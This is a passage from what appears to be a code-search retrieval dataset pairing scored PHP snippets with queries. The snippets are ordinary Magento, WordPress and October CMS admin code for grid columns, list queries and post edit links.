'url' => array('base'=> '*/adminhtml_bannerslider/edit'),\n //'onclick' => 'return saveAndContinueEdit();',\n 'field' => 'id'\n )),\n 'filter' => false,\n 'sortable' => false,\n 'index' => 'stores',\n 'is_system' => true,\n ));\n\n $this->addColumn('action_delete',\n array(\n 'header' => Mage::helper('campaign')->__('Disable Banner'),\n 'width' => '100',\n 'type' => 'action',\n 'getter' => 'getId',\n 'actions' => array(\n array(\n 'caption' => Mage::helper('campaign')->__('Disable'),\n 'url' => array('base'=> '*/adminhtml_bannerslider/disableSlider'),\n //'onclick' => 'return saveAndContinueEdit();',\n 'field' => 'id'\n )),\n 'filter' => false,\n 'sortable' => false,\n 'index' => 'stores',\n 'is_system' => true,\n ));\n\n $this->addExportType('*/*/exportCsv', Mage::helper('campaign')->__('CSV'));\n $this->addExportType('*/*/exportXml', Mage::helper('campaign')->__('XML'));\n\n return parent::_prepareColumns();\n }", "title": "" }, { "docid": "d52aed9ebab8e97a6c8d004592a1794b", "score": "0.47420096", "text": "private function prepare_data(){\r\n\t\t\t$this->data_table['cols'] = array();\r\n\t\t\t\r\n\t\t\tforeach($this->columns as $column_id => $column_info){\r\n\t\t\t\tswitch($column_info['type']){\r\n\t\t\t\t\tcase 'number':\r\n\t\t\t\t\tcase 'float':\r\n\t\t\t\t\tcase 'currency':\r\n\t\t\t\t\t\t$column_info['type'] = 'number';\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t$column_info['type'] = 'string';\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$this->data_table['cols'][] = array_merge(array('id' => $column_id), $column_info);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$rows_count = sizeof(reset($this->data));\r\n\t\t\t\r\n\t\t\tfor($i = 0; $i < $rows_count; $i++){\r\n\t\t\t\t$c = array();\r\n\t\t\t\t\r\n\t\t\t\tforeach($this->columns as $column_id => $column_info){\r\n\t\t\t\t\t$value = $this->data[$column_id][$i];\r\n\t\t\t\t\t$c[] = array('v' => $value);\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$this->data_table['rows'][] = array('c' => $c);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$this->data_table = json_encode($this->data_table);\r\n\t\t}", "title": "" }, { "docid": "3ee5816ff2ba25c875fd69c34c82f211", "score": "0.473501", "text": "protected function _prepareColumns(){\r\n $this->addColumn('in_brands', array(\r\n 'header_css_class' => 'a-center',\r\n 'type' => 'checkbox',\r\n 'name' => 'in_brands',\r\n 'values'=> $this->_getSelectedBrands(),\r\n 'align' => 'center',\r\n 'index' => 'entity_id'\r\n ));\r\n $this->addColumn('title', array(\r\n 'header'=> Mage::helper('zozoconcepts_brands')->__('Title'),\r\n 'align' => 'left',\r\n 'index' => 'title',\r\n ));\r\n $this->addColumn('position', array(\r\n 'header' => Mage::helper('zozoconcepts_brands')->__('Position'),\r\n 'name' => 'position',\r\n 'width' => 60,\r\n 'type' => 'number',\r\n 'validate_class'=> 'validate-number',\r\n 'index' => 'position',\r\n 'editable' => true,\r\n ));\r\n return parent::_prepareColumns();\r\n }", "title": "" }, { "docid": "905328aeca5b7080b2ce56c6082bf42e", "score": "0.47303823", "text": "protected function _prepareCondition($attribute, $value)\n {\n return $this->_getResource()->prepareCondition($attribute, $value, $this->getProductCollection());\n }", "title": "" }, { "docid": "a52d94582c747850af0b843f7bf33c1a", "score": "0.4728349", "text": "protected function _prepareColumns()\n {\n parent::_prepareColumns();\n\n $this->addColumnAfter(\n 'is_visible',\n [\n 'header' => __('Visible'),\n 'sortable' => true,\n 'index' => 'is_visible_on_front',\n 'type' => 'options',\n 'options' => ['1' => __('Yes'), '0' => __('No')],\n 'align' => 'center'\n ],\n 'frontend_label'\n );\n\n $this->addColumnAfter(\n 'is_global',\n [\n 'header' => __('Scope'),\n 'sortable' => true,\n 'index' => 'is_global',\n 'type' => 'options',\n 'options' => [\n \\Magento\\Eav\\Model\\Entity\\Attribute\\ScopedAttributeInterface::SCOPE_STORE => __('Store View'),\n \\Magento\\Eav\\Model\\Entity\\Attribute\\ScopedAttributeInterface::SCOPE_WEBSITE => __('Web Site'),\n \\Magento\\Eav\\Model\\Entity\\Attribute\\ScopedAttributeInterface::SCOPE_GLOBAL => __('Global'),\n ],\n 'align' => 'center'\n ],\n 'is_visible'\n );\n\n $this->addColumn(\n 'is_searchable',\n [\n 'header' => __('Searchable'),\n 'sortable' => true,\n 'index' => 'is_searchable',\n 'type' => 'options',\n 'options' => ['1' => __('Yes'), '0' => __('No')],\n 'align' => 'center'\n ]\n\n );\n\n $this->_eventManager->dispatch('product_attribute_grid_build', ['grid' => $this]);\n\n $this->addColumnAfter(\n 'is_comparable',\n [\n 'header' => __('Comparable'),\n 'sortable' => true,\n 'index' => 'is_comparable',\n 'type' => 'options',\n 'options' => ['1' => __('Yes'), '0' => __('No')],\n 'align' => 'center'\n ],\n 'is_filterable'\n );\n\n return $this;\n }", "title": "" }, { "docid": "6b1f726ddc6beff90eafa5197349c6fc", "score": "0.4723859", "text": "abstract protected function _buildCalcRows();", "title": "" }, { "docid": "25eb0e7468aa06585938fddf6067ac57", "score": "0.4716869", "text": "public function prepare( $data );", "title": "" }, { "docid": "80c5e5c819d3e9b5f4c993c39f689881", "score": "0.47156906", "text": "public function prepareRow($current_row) {\n\n // if no pic string do nothing\n if (empty($current_row->picture)) {\n return FALSE;\n }\n \n // update the uri value\n $current_row->uri = $this->imageUri . '/' . $current_row->filename;\n \n // generate a path value\n $filepath = $this->imagePath . '/' . $current_row->filename;\n \n // write file from DB\n $this->__writeDbImageToFile($current_row->picture, $filepath);\n \n // all good\n return TRUE;\n \n }", "title": "" }, { "docid": "8ebcaa9d37adf3650e342bdc5831da25", "score": "0.4712107", "text": "public function buildConditionQuery()\n\t\t\t{\n\t\t\t\t$this->sql_condition = ' user_id='.$this->CFG['user']['user_id'];\n\t\t\t}", "title": "" }, { "docid": "d85b13494c6ecae189b3faef84b70349", "score": "0.47088355", "text": "public function prepareQuery()\n {\n $query = $this->model->newQuery();\n $primaryTable = $this->model->getTable();\n $selects = [$primaryTable.'.*'];\n $joins = [];\n $withs = [];\n\n /**\n * @event backend.list.extendQueryBefore\n * Provides an opportunity to modify the `$query` object before the List widget applies its scopes to it.\n *\n * Example usage:\n *\n * Event::listen('backend.list.extendQueryBefore', function($listWidget, $query) {\n * $query->whereNull('deleted_at');\n * });\n *\n * Or\n *\n * $listWidget->bindEvent('list.extendQueryBefore', function ($query) {\n * $query->whereNull('deleted_at');\n * });\n *\n */\n $this->fireSystemEvent('backend.list.extendQueryBefore', [$query]);\n\n /*\n * Prepare searchable column names\n */\n $primarySearchable = [];\n $relationSearchable = [];\n\n $columnsToSearch = [];\n if (!empty($this->searchTerm) && ($searchableColumns = $this->getSearchableColumns())) {\n foreach ($searchableColumns as $column) {\n /*\n * Related\n */\n if ($this->isColumnRelated($column)) {\n $table = $this->model->makeRelation($column->relation)->getTable();\n $columnName = isset($column->sqlSelect)\n ? DbDongle::raw($this->parseTableName($column->sqlSelect, $table))\n : $table . '.' . $column->valueFrom;\n\n $relationSearchable[$column->relation][] = $columnName;\n }\n /*\n * Primary\n */\n else {\n $columnName = isset($column->sqlSelect)\n ? DbDongle::raw($this->parseTableName($column->sqlSelect, $primaryTable))\n : DbDongle::cast(Db::getTablePrefix() . $primaryTable . '.' . $column->columnName, 'TEXT');\n\n $primarySearchable[] = $columnName;\n }\n }\n }\n\n /*\n * Prepare related eager loads (withs) and custom selects (joins)\n */\n foreach ($this->getVisibleColumns() as $column) {\n\n // If useRelationCount is enabled, eager load the count of the relation into $relation_count\n if ($column->relation && @$column->config['useRelationCount']) {\n $query->withCount($column->relation);\n }\n\n if (!$this->isColumnRelated($column) || (!isset($column->sqlSelect) && !isset($column->valueFrom))) {\n continue;\n }\n\n if (isset($column->valueFrom)) {\n $withs[] = $column->relation;\n }\n\n $joins[] = $column->relation;\n }\n\n /*\n * Add eager loads to the query\n */\n if ($withs) {\n $query->with(array_unique($withs));\n }\n\n /*\n * Apply search term\n */\n $query->where(function ($innerQuery) use ($primarySearchable, $relationSearchable, $joins) {\n\n /*\n * Search primary columns\n */\n if (count($primarySearchable) > 0) {\n $this->applySearchToQuery($innerQuery, $primarySearchable, 'or');\n }\n\n /*\n * Search relation columns\n */\n if ($joins) {\n foreach (array_unique($joins) as $join) {\n /*\n * Apply a supplied search term for relation columns and\n * constrain the query only if there is something to search for\n */\n $columnsToSearch = array_get($relationSearchable, $join, []);\n\n if (count($columnsToSearch) > 0) {\n $innerQuery->orWhereHas($join, function ($_query) use ($columnsToSearch) {\n $this->applySearchToQuery($_query, $columnsToSearch);\n });\n }\n }\n }\n\n });\n\n /*\n * Custom select queries\n */\n foreach ($this->getVisibleColumns() as $column) {\n if (!isset($column->sqlSelect)) {\n continue;\n }\n\n $alias = $query->getQuery()->getGrammar()->wrap($column->columnName);\n\n /*\n * Relation column\n */\n if (isset($column->relation)) {\n\n // @todo Find a way...\n $relationType = $this->model->getRelationType($column->relation);\n if ($relationType == 'morphTo') {\n throw new ApplicationException('The relationship morphTo is not supported for list columns.');\n }\n\n $table = $this->model->makeRelation($column->relation)->getTable();\n $sqlSelect = $this->parseTableName($column->sqlSelect, $table);\n\n /*\n * Manipulate a count query for the sub query\n */\n $relationObj = $this->model->{$column->relation}();\n $countQuery = $relationObj->getRelationExistenceQuery($relationObj->getRelated()->newQueryWithoutScopes(), $query);\n\n $joinSql = $this->isColumnRelated($column, true)\n ? DbDongle::raw(\"group_concat(\" . $sqlSelect . \" separator ', ')\")\n : DbDongle::raw($sqlSelect);\n\n $joinSql = $countQuery->select($joinSql)->toSql();\n\n $selects[] = Db::raw(\"(\".$joinSql.\") as \".$alias);\n }\n /*\n * Primary column\n */\n else {\n $sqlSelect = $this->parseTableName($column->sqlSelect, $primaryTable);\n $selects[] = DbDongle::raw($sqlSelect . ' as '. $alias);\n }\n }\n\n /*\n * Apply sorting\n */\n if (($sortColumn = $this->getSortColumn()) && !$this->showTree) {\n if (($column = array_get($this->allColumns, $sortColumn)) && $column->valueFrom) {\n $sortColumn = $this->isColumnPivot($column)\n ? 'pivot_' . $column->valueFrom\n : $column->valueFrom;\n }\n\n // Set the sorting column to $relation_count if useRelationCount enabled\n if (isset($column->relation) && @$column->config['useRelationCount']) {\n $sortColumn = $column->relation . '_count';\n }\n\n $query->orderBy($sortColumn, $this->sortDirection);\n }\n\n /*\n * Apply filters\n */\n foreach ($this->filterCallbacks as $callback) {\n $callback($query);\n }\n\n /*\n * Add custom selects\n */\n $query->addSelect($selects);\n\n /**\n * @event backend.list.extendQuery\n * Provides an opportunity to modify and / or return the `$query` object after the List widget has applied its scopes to it and before it's used to get the records.\n *\n * Example usage:\n *\n * Event::listen('backend.list.extendQuery', function($listWidget, $query) {\n * $newQuery = MyModel::newQuery();\n * return $newQuery;\n * });\n *\n * Or\n *\n * $listWidget->bindEvent('list.extendQuery', function ($query) {\n * $query->whereNull('deleted_at');\n * });\n *\n */\n if ($event = $this->fireSystemEvent('backend.list.extendQuery', [$query])) {\n return $event;\n }\n\n return $query;\n }", "title": "" }, { "docid": "a3ec37ff43faf6d0c533e29850cc71d5", "score": "0.47087786", "text": "private function get_filterItems()\n {\n $arr_return = array();\n\n // Get table and field\n list( $table, $field ) = explode( '.', $this->curr_tableField );\n\n // Default return value\n $arr_return[ 'data' ][ 'items' ] = null;\n\n // Set rows, if current filter is with areas\n $this->areas_toRows();\n\n// 4.1.16, 120927, dwildt, -\n// // RETURN rows are empty\n// if( empty ( $this->rows) )\n// {\n// // DRS\n// if( $this->pObj->b_drs_warn )\n// {\n// $prompt = 'Rows are empty. Filter: ' . $this->curr_tableField . '.';\n// t3lib_div::devlog( '[WARN/FILTER] ' . $prompt, $this->pObj->extKey, 2 );\n// }\n// // DRS\n// return $arr_return;\n// }\n// // RETURN rows are empty\n// 4.1.16, 120927, dwildt, -\n // Get table and field\n list( $table, $field ) = explode( '.', $this->curr_tableField );\n\n // Set nice_piVar\n $this->set_nicePiVar();\n\n // Set class var $htmlSpaceLeft\n $this->set_htmlSpaceLeft();\n\n // Set class var $maxItemsPerHtmlRow\n $this->set_maxItemsPerHtmlRow();\n\n // SWITCH current filter is a tree view\n // #i0117, 141223, dwildt, 1-/+\n //switch ( in_array( $table, $this->arr_tablesWiTreeparentfield ) )\n switch ( in_array( $this->curr_tableField, $this->arr_tablesWiTreeparentfield ) )\n {\n case( true ):\n $arr_return = $this->get_filterItemsTree();\n break;\n case( false ):\n default:\n $arr_return = $this->get_filterItemsDefault();\n if ( !empty( $arr_return ) )\n {\n $items = $arr_return[ 'data' ][ 'items' ];\n $arr_return = $this->get_filterItemsWrap( $items );\n }\n break;\n }\n // SWITCH current filter is a tree view\n\n return $arr_return;\n }", "title": "" }, { "docid": "caa443f44daca1821b6d61ad39275473", "score": "0.47066686", "text": "public function prepareData()\r\n {\r\n $users_model = new UsersModel();\r\n $users_all = $users_model->getAll(true, false, 'C_FULLNAME');\r\n $users = Groups::getUsers($this->group_id, 'C_FULLNAME');\r\n $users_include = array();\r\n \tforeach ($users as $user_info) {\r\n \t\t$users_include[$user_info['U_ID']] = array(\r\n \t\t\t$user_info['U_ID'],\r\n \t\t\t$user_info['C_FULLNAME']\r\n \t\t);\r\n \t} \r\n \t$users_exclude = array();\r\n \tforeach ($users_all as $user_info) {\r\n \t\tif (!isset($users_include[$user_info['U_ID']])) {\r\n\t \t\t$users_exclude[] = array(\r\n\t \t\t\t$user_info['U_ID'],\r\n\t \t\t\t$user_info['C_FULLNAME']\r\n\t \t\t);\r\n \t\t}\r\n \t}\r\n \t$this->smarty->assign('group_id', $this->group_id);\r\n \t$this->smarty->assign('users_in', json_encode(array_values($users_include)));\r\n \t$this->smarty->assign('users_out', json_encode($users_exclude)); \r\n }", "title": "" }, { "docid": "d8b0e48a5d65cbd09bc822368aeb7bea", "score": "0.4704062", "text": "public function process() {\n if ($this->skip()) {\n return;\n }\n $values = explode($this->config('delimiter'), $this->value());\n\n $conditions = [];\n foreach ($this->fields() as $field) {\n $left = $field . ' ' . $this->config('comparison');\n\n foreach ($values as $value) {\n $right = $this->_wildCards($value);\n $conditions[] = [$left => $right];\n }\n }\n $this->query()->andWhere([$this->config('mode') => $conditions]);\n }", "title": "" }, { "docid": "18fb377ada4e328f0035c566617b0840", "score": "0.47036102", "text": "public function prepare_items() {\n\n\t\t// Roll out each part.\n\t\t$columns = $this->get_columns();\n\t\t$hidden = $this->get_hidden_columns();\n\t\t$sortable = $this->get_sortable_columns();\n\t\t$dataset = $this->table_data();\n\n\t\t// Check for the action key value to filter.\n\t\tif ( ! empty( $_REQUEST['wbr-review-filter'] ) ) { // WPCS: CSRF ok.\n\t\t\t$dataset = $this->maybe_filter_dataset( $dataset );\n\t\t}\n\n\t\t// Handle our sorting.\n\t\tusort( $dataset, array( $this, 'sort_data' ) );\n\n\t\t// Load up the pagination settings.\n\t\t$paginate = 20;\n\t\t$item_count = count( $dataset );\n\t\t$current = $this->get_pagenum();\n\n\t\t// Set my pagination args.\n\t\t$this->set_pagination_args( array(\n\t\t\t'total_items' => $item_count,\n\t\t\t'per_page' => $paginate,\n\t\t\t'total_pages' => ceil( $item_count / $paginate ),\n\t\t));\n\n\t\t// Slice up our dataset.\n\t\t$dataset = array_slice( $dataset, ( ( $current - 1 ) * $paginate ), $paginate );\n\n\t\t// Do the column headers.\n\t\t$this->_column_headers = array( $columns, $hidden, $sortable );\n\n\t\t// Make sure we have the single action running.\n\t\t$this->process_single_action();\n\n\t\t// Make sure we have the bulk action running.\n\t\t$this->process_bulk_action();\n\n\t\t// Make sure we have the status change.\n\t\t$this->process_status_change();\n\n\t\t// And the result.\n\t\t$this->items = $dataset;\n\t}", "title": "" }, { "docid": "1f39cc8a45279582f900a8dd382ac1db", "score": "0.4702259", "text": "protected function get_conditions( ) {\n// to decode all conditions. To learn more about weather condition codes, visit section\n// 12.6.8 - Present Weather Group of the Federal Meteorological Handbook No. 1 at\n// www.nws.noaa.gov/oso/oso1/oso12/fmh1/fmh1ch12.htm\n if (preg_match('#^(-|\\+|VC)?(NSW|TS|SH|FZ|BL|DR|MI|BC|PR|RA|DZ|SN|SG|GR|GS|PE|IC|UP|BR|FG|FU|VA|DU|SA|HZ|PY|PO|SQ|FC|SS|DS|WS//)+$#',$this->current_group_text,$pieces)) {\n $this->varConcatenate($this->wxInfo['ITEMS'][$this->tend],'CODE_CONDITIONS', $this->current_group_text);\n if (!isset($this->wxInfo['ITEMS'][$this->tend]['CONDITIONS'])) {\n//$this->wxInfo['ITEMS'][$this->tend]['CONDITIONS'] = '';\n $join = '';\n }\n else {\n $join = ', ';\n }\n if (substr($this->current_group_text,0,1) == '-') {\n $prefix = $this->get_i18nCondition('-');\n $this->current_group_text = substr($this->current_group_text,1);\n }\n elseif (substr($this->current_group_text,0,1) == '+') {\n $prefix = $this->get_i18nCondition('+');\n $this->current_group_text = substr($this->current_group_text,1);\n }\n else $prefix = ''; // moderate conditions have no descriptor\n while ($code = substr($this->current_group_text,0,2)) {\n if (!isset($this->wxInfo['ITEMS'][$this->tend]['CONDITIONS'])) {\n $this->wxInfo['ITEMS'][$this->tend]['CONDITIONS'] = '';\n }\n $this->wxInfo['ITEMS'][$this->tend]['CONDITIONS'] .= $join . $this->get_i18nCondition($code) . ' ';\n $this->current_group_text = substr($this->current_group_text,2);\n }\n if (strlen($prefix)>0) {\n $this->wxInfo['ITEMS'][$this->tend]['CONDITIONS'] .= $prefix ;\n }\n $this->current_ptr++;\n }\n else {\n if (isset($this->wxInfo['ITEMS'][$this->tend]['CONDITIONS'])) {\n//$this->wxInfo['ITEMS'][$this->tend]['CONDITIONS'] = '';\n $this->wxInfo['ITEMS'][$this->tend]['CONDITIONS'] = trim($this->wxInfo['ITEMS'][$this->tend]['CONDITIONS']);\n if ($this->wxInfo['ITEMS'][$this->tend]['CONDITIONS']=='') unset($this->wxInfo['ITEMS'][$this->tend]['CONDITIONS']);\n }\n $this->current_group++;\n }\n }", "title": "" }, { "docid": "5643165a242545737514517fe3a9304d", "score": "0.46961507", "text": "abstract protected function _prepare();", "title": "" } ]
e7f4e01d45123cf291452ab94fcfb24c
Registers an additional link in the post/page screens to edit any post/page in the Classic editor. Modified function gutenberg_add_edit_link( $actions, $post )
[ { "docid": "01b7eeb72d647786b97869cd18d67922", "score": "0.8416094", "text": "public function handler_add_edit_link( array $actions, WP_Post $post )\n\t\t{\n\t\t\tif( ! $this->need_classic_editor_links() )\n\t\t\t{\n\t\t\t\treturn $actions;\n\t\t\t}\n\n\t\t\t$use_block = $this->can_use_block_editor( $post );\n\t\t\tif ( ! $use_block )\n\t\t\t{\n\t\t\t\treturn $actions;\n\t\t\t}\n\n\t\t\t$edit_url = get_edit_post_link( $post->ID, 'av_gutenberg' );\n\t\t\t$classic_url = add_query_arg( 'classic-editor', '1', $edit_url );\n\n\t\t\t$title = _draft_or_post_title( $post->ID );\n\n\t\t\t$classic_action = array(\n\t\t\t\t\t\t'edit' => sprintf(\n\t\t\t\t\t\t\t\t\t\t'<a href=\"%s\" aria-label=\"%s\">%s</a>',\n\t\t\t\t\t\t\t\t\t\tesc_url( $classic_url ),\n\t\t\t\t\t\t\t\t\t\tesc_attr( sprintf(\n\t\t\t\t\t\t\t\t\t\t\t\t/* translators: %s: post title */\n\t\t\t\t\t\t\t\t\t\t\t\t__( 'Edit &#8220;%s&#8221; in the Classic Editor', 'avia_framework' ),\n\t\t\t\t\t\t\t\t\t\t\t\t$title\n\t\t\t\t\t\t\t\t\t\t\t) ),\n\t\t\t\t\t\t\t\t\t\t__( 'Classic Editor', 'avia_framework' )\n\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t);\n\n\t\t\tif( ! $this->gutenberg_plugin_active )\n\t\t\t{\n\t\t\t\t/* translators: %s: post title */\n\t\t\t\t$aria = __( 'Edit &#8220;%s&#8221; in the Block Editor', 'avia_framework' );\n\t\t\t\t$out = __( 'Block Editor', 'avia_framework' );\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t/* translators: %s: post title */\n\t\t\t\t$aria = __( 'Edit &#8220;%s&#8221; in the Gutenberg Editor', 'avia_framework' );\n\t\t\t\t$out = __( 'Gutenberg Editor', 'avia_framework' );\n\t\t\t}\n\t\t\t$gutenberg_action = array(\n\t\t\t\t\t\t'classic' => sprintf(\n\t\t\t\t\t\t\t\t\t\t'<a href=\"%s\" aria-label=\"%s\">%s</a>',\n\t\t\t\t\t\t\t\t\t\tesc_url( $edit_url ),\n\t\t\t\t\t\t\t\t\t\tesc_attr( sprintf(\n\t\t\t\t\t\t\t\t\t\t\t\t/* translators: %s: post title */\n//\t\t\t\t\t\t\t\t\t\t\t\t__( 'Edit &#8220;%s&#8221; in the Gutenberg editor', 'avia_framework' ),\n\t\t\t\t\t\t\t\t\t\t\t\t$aria,\n\t\t\t\t\t\t\t\t\t\t\t\t$title\n\t\t\t\t\t\t\t\t\t\t\t) ),\n\t\t\t\t\t\t\t\t\t\t$out\n\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t);\n\n\t\t\t/**\n\t\t\t * Filter the actions\n\t\t\t *\n\t\t\t * @since 4.4.2\n\t\t\t */\n\t\t\t$classic_action = apply_filters( 'avf_gutenberg_edit_post_action', $classic_action, $actions, $post, 'classic' );\n\t\t\t$gutenberg_action = apply_filters( 'avf_gutenberg_edit_post_action', $gutenberg_action, $actions, $post, 'gutenberg' );\n\n\t\t\t/**\n\t\t\t * Replace the standard edit action\n\t\t\t */\n\t\t\t$actions['edit'] = $classic_action['edit'];\n\n\t\t\t/**\n\t\t\t * Insert Gutenberg action after the Classic Edit action.\n\t\t\t */\n\t\t\t$edit_offset = array_search( 'edit', array_keys( $actions ), true );\n\t\t\t$actions = array_merge(\n\t\t\t\t\t\t\tarray_slice( $actions, 0, $edit_offset + 1 ),\n\t\t\t\t\t\t\t$gutenberg_action,\n\t\t\t\t\t\t\tarray_slice( $actions, $edit_offset + 1 )\n\t\t\t\t\t\t);\n\n\t\t\treturn $actions;\n\t\t}", "title": "" } ]
[ { "docid": "a07f1405d1ee2729d1c281c9af4ded37", "score": "0.7498507", "text": "public function modify_page_row_actions($actions, $post) {\n $actions['RocketEditor'] = '<a href=\"' . $this->build_url($post->ID) . '\">Edit with Rocket Editor </a>';\n return $actions;\n }", "title": "" }, { "docid": "31d2b081cd158d3134f1066addf95bc3", "score": "0.7379416", "text": "function me_live_edit_link( $action, $object_type, $post_id ) {\n if ( $action == 'edit' ) {\n $admin_url = get_edit_post_link( $post_id );\n } else {\n $admin_url = admin_url( '/post-new.php?post_type=' . $object_type );\n }\n return $admin_url . '&live_edit_embeded=true';\n}", "title": "" }, { "docid": "27a77a712cf5ec20edfa8c276db8706c", "score": "0.7184641", "text": "function the_edit_link_post(): void {\n\tglobal $post;\n\techo esc_attr( admin_url( \"post.php?post={$post->ID}&action=edit\" ) );\n}", "title": "" }, { "docid": "82e19c809a765cda67d3d40dcebfad3b", "score": "0.7182175", "text": "function pendrell_entry_edit_link( $buttons ) {\n if ( ! $post = get_post() )\n return $buttons;\n if ( ! $url = get_edit_post_link( $post->ID ) )\n return $buttons;\n $buttons .= '<a class=\"button\" href=\"' . $url . '\" rel=\"nofollow\" role=\"button\">' . pendrell_icon_text( 'content-edit', __( 'Edit', 'pendrell' ) ) . '</a>';\n return $buttons;\n}", "title": "" }, { "docid": "c258e91f685c88684ac690149d412dd9", "score": "0.70456344", "text": "function freshio_edit_post_link()\n\t{\n\t\tedit_post_link(\n\t\t\tsprintf(\n\t\t\t\twp_kses(\n\t\t\t\t/* translators: %s: Name of current post. Only visible to screen readers */\n\t\t\t\t\t__('Edit <span class=\"screen-reader-text\">%s</span>', 'freshio'),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'span' => array(\n\t\t\t\t\t\t\t'class' => array(),\n\t\t\t\t\t\t),\n\t\t\t\t\t)\n\t\t\t\t),\n\t\t\t\tget_the_title()\n\t\t\t),\n\t\t\t'<div class=\"edit-link\">',\n\t\t\t'</div>'\n\t\t);\n\t}", "title": "" }, { "docid": "b02105f1326ddb59f867b396009e3285", "score": "0.684906", "text": "function bus_leader_edit_link() {\n\tedit_post_link( __( 'Edit', 'bus_leader' ), '<span class=\"edit-link\">', '</span>' );\n}", "title": "" }, { "docid": "5075bad3c78611a73b4d3f85b660582f", "score": "0.6662921", "text": "function nobodyfool_edit_link() {\n edit_post_link(\n sprintf(\n /* translators: %s: Name of current post */\n __( 'Edit<span class=\"screen-reader-text\"> \"%s\"</span>', 'nobodyfool' ),\n get_the_title()\n ),\n '<span class=\"edit-link\">',\n '</span>'\n );\n }", "title": "" }, { "docid": "a042c7833651e4e63f86bed17075c164", "score": "0.6640046", "text": "function get_edit_post_link($id = 0, $context = 'display')\n{\n}", "title": "" }, { "docid": "8f275955e187af958078da82b74ac87a", "score": "0.6592725", "text": "function theclick_edit_link($args = [])\n{\n $args = wp_parse_args($args, [\n 'class' => '',\n 'icon' => 'far fa-edit',\n 'title' => esc_html('Edit', 'theclick'),\n 'hint' => '', //esc_html('Edit', 'theclick'),\n 'before' => '',\n 'after' => '',\n 'show_edit' => false,\n 'echo' => true\n ]);\n $classes = ['ef5-edit-link', $args['class']];\n $dthint = '';\n if(!empty($args['hint'])){\n $classes[] = 'hint--top';\n $dthint = 'data-hint=\"'.esc_attr($args['hint']).'\"';\n }\n $args['icon'] = !empty($args['icon']) ? '<span class=\"'.esc_attr($args['icon']).'\" '.$dthint.'>&nbsp;&nbsp;</span>' : '';\n if(!$args['show_edit']) return;\n\n $before = $args['before'].'<div class=\"'.trim(implode(' ', $classes)).'\" >'.$args['icon'];\n $after = '</div>'.$args['after'];\n ob_start();\n edit_post_link($args['title'], $before, $after );\n if($args['echo']){\n echo ob_get_clean();\n } else {\n return ob_get_clean();\n }\n}", "title": "" }, { "docid": "c7afce75595776f10cc2f81da9692c5c", "score": "0.6591772", "text": "function _nighthawk_edit_post_link( $html, $ID ) {\n\treturn '<a class=\"post-edit-link\" href=\"' . esc_url( get_edit_post_link( $ID ) ) . '\" title=\"' . sprintf( esc_attr__( 'Edit this %1$s', 'nighthawk' ), nighthawk_post_label_singular() ) . '\">' . esc_html( wp_strip_all_tags( $html ) ) . '</a>';\n}", "title": "" }, { "docid": "cfaa8c512593c27f5cca748570a6bd1b", "score": "0.6554188", "text": "function me_live_edit_custom_link( $args = array() ) {\n if ( ! is_user_logged_in() || is_preview() || is_customize_preview() ) {\n return;\n }\n\n // define default args\n $args = wp_parse_args( $args, array(\n /**\n * Admin page link.\n * \n * @var string\n */\n 'admin_link' => '',\n\n /**\n * Icon.\n * \n * @uses Dashicons https://developer.wordpress.org/resource/dashicons/\n * @var string\n */\n 'icon' => 'dashicons-admin-generic',\n\n /**\n * Text label.\n * \n * @var string\n */\n 'text_label' => 'New Post',\n\n /**\n * Reloaded element id.\n * \n * @var string\n */\n 'element_id' => '#ui-target-reloaded'\n ) );\n\n // define custom admin link\n $admin_url = admin_url( $args['admin_link'] );\n\n // render element\n ?><div class=\"ui-me-live-edit\">\n <a href=\"javascript;;\" data-src=\"<?php echo $admin_url; ?>\" data-reload-id=\"<?php echo $args['element_id']; ?>\" class=\"mle-wrapper me-live-edit-button\">\n <span class=\"mle-icon\">\n <span class=\"dashicons <?php echo $args['icon']; ?>\"></span>\n </span>\n <span class=\"mle-label\">\n <?php echo $args['text_label']; ?>\n </span>\n </a>\n </div><?php\n}", "title": "" }, { "docid": "8f0d450ed4c67971fbabfcd02f3702f0", "score": "0.64822835", "text": "function custom_quick_links( $actions = array(), $post = null ) {\n\n // Abort if the post type is not \"ek_question\"\n if ( ! is_post_type_archive( 'agreed-marking' ) ) {\n return $actions;\n }\n // Remove the Quick Edit link\n if ( isset( $actions['inline hide-if-no-js'] ) ) {\n unset( $actions['inline hide-if-no-js'] );\n\n\n }\n\n if (current_user_can('edit_posts'))\n {\n\n $assignmentID = $post->ID;\n\n //$duplicateString.='<form method=\"post\" action=\"edit.php?post_type=ek_question&potID='.$postParentID.'&action=ek_question_duplicate\">';\n // $duplicateString='<a href=\"edit.php?post_type=agreed-marking&assignmentID='.$assignmentID.'&myAction=duplicateAssignment\">Duplicate</a>';\n\n $actionURL = 'edit.php?post_type=agreed-marking&assignmentID='.$assignmentID.'&myAction=duplicateAssignment';\n $actions['duplicate'] = '<a href=\"'.$actionURL.'\" title=\"Duplicate\" rel=\"permalink\">Duplicate</a>';\n\n // $actions['duplicate'] = $duplicateString;\n\n\n }\n // Return the set of links without Quick Edit\n return $actions;\n }", "title": "" }, { "docid": "63ffc2666450cf3dc46e78d1e8163fd4", "score": "0.6472067", "text": "function get_edit_url() {\n\t\t/*\n\t\tThe below is a near-exact copy of the get_post_edit_link() function.\n\t\tUnfortunately we can't just call that function because it has a hardcoded\n\t\tcaps-check which fails when called from the email notification script\n\t\texecuted by Cron.\n\t\t*/\n\t\t$post = get_post( $this->container_id );\n\n\t\tif ( ! $post ) {\n\t\t\treturn '';\n\t\t}\n\n\t\t$context = 'display';\n\n\t\t//WP 3.0\n\t\tif ( 'display' === $context ) {\n\t\t\t$action = '&amp;action=edit';\n\t\t} else {\n\t\t\t$action = '&action=edit';\n\t\t}\n\n\t\t$post_type_object = get_post_type_object( $post->post_type );\n\t\tif ( ! $post_type_object ) {\n\t\t\treturn '';\n\t\t}\n\n\t\treturn apply_filters( 'get_edit_post_link', admin_url( sprintf( $post_type_object->_edit_link . $action, $post->ID ) ), $post->ID, $context );\n\t}", "title": "" }, { "docid": "b84684b7744454170acc17fb9c2961a3", "score": 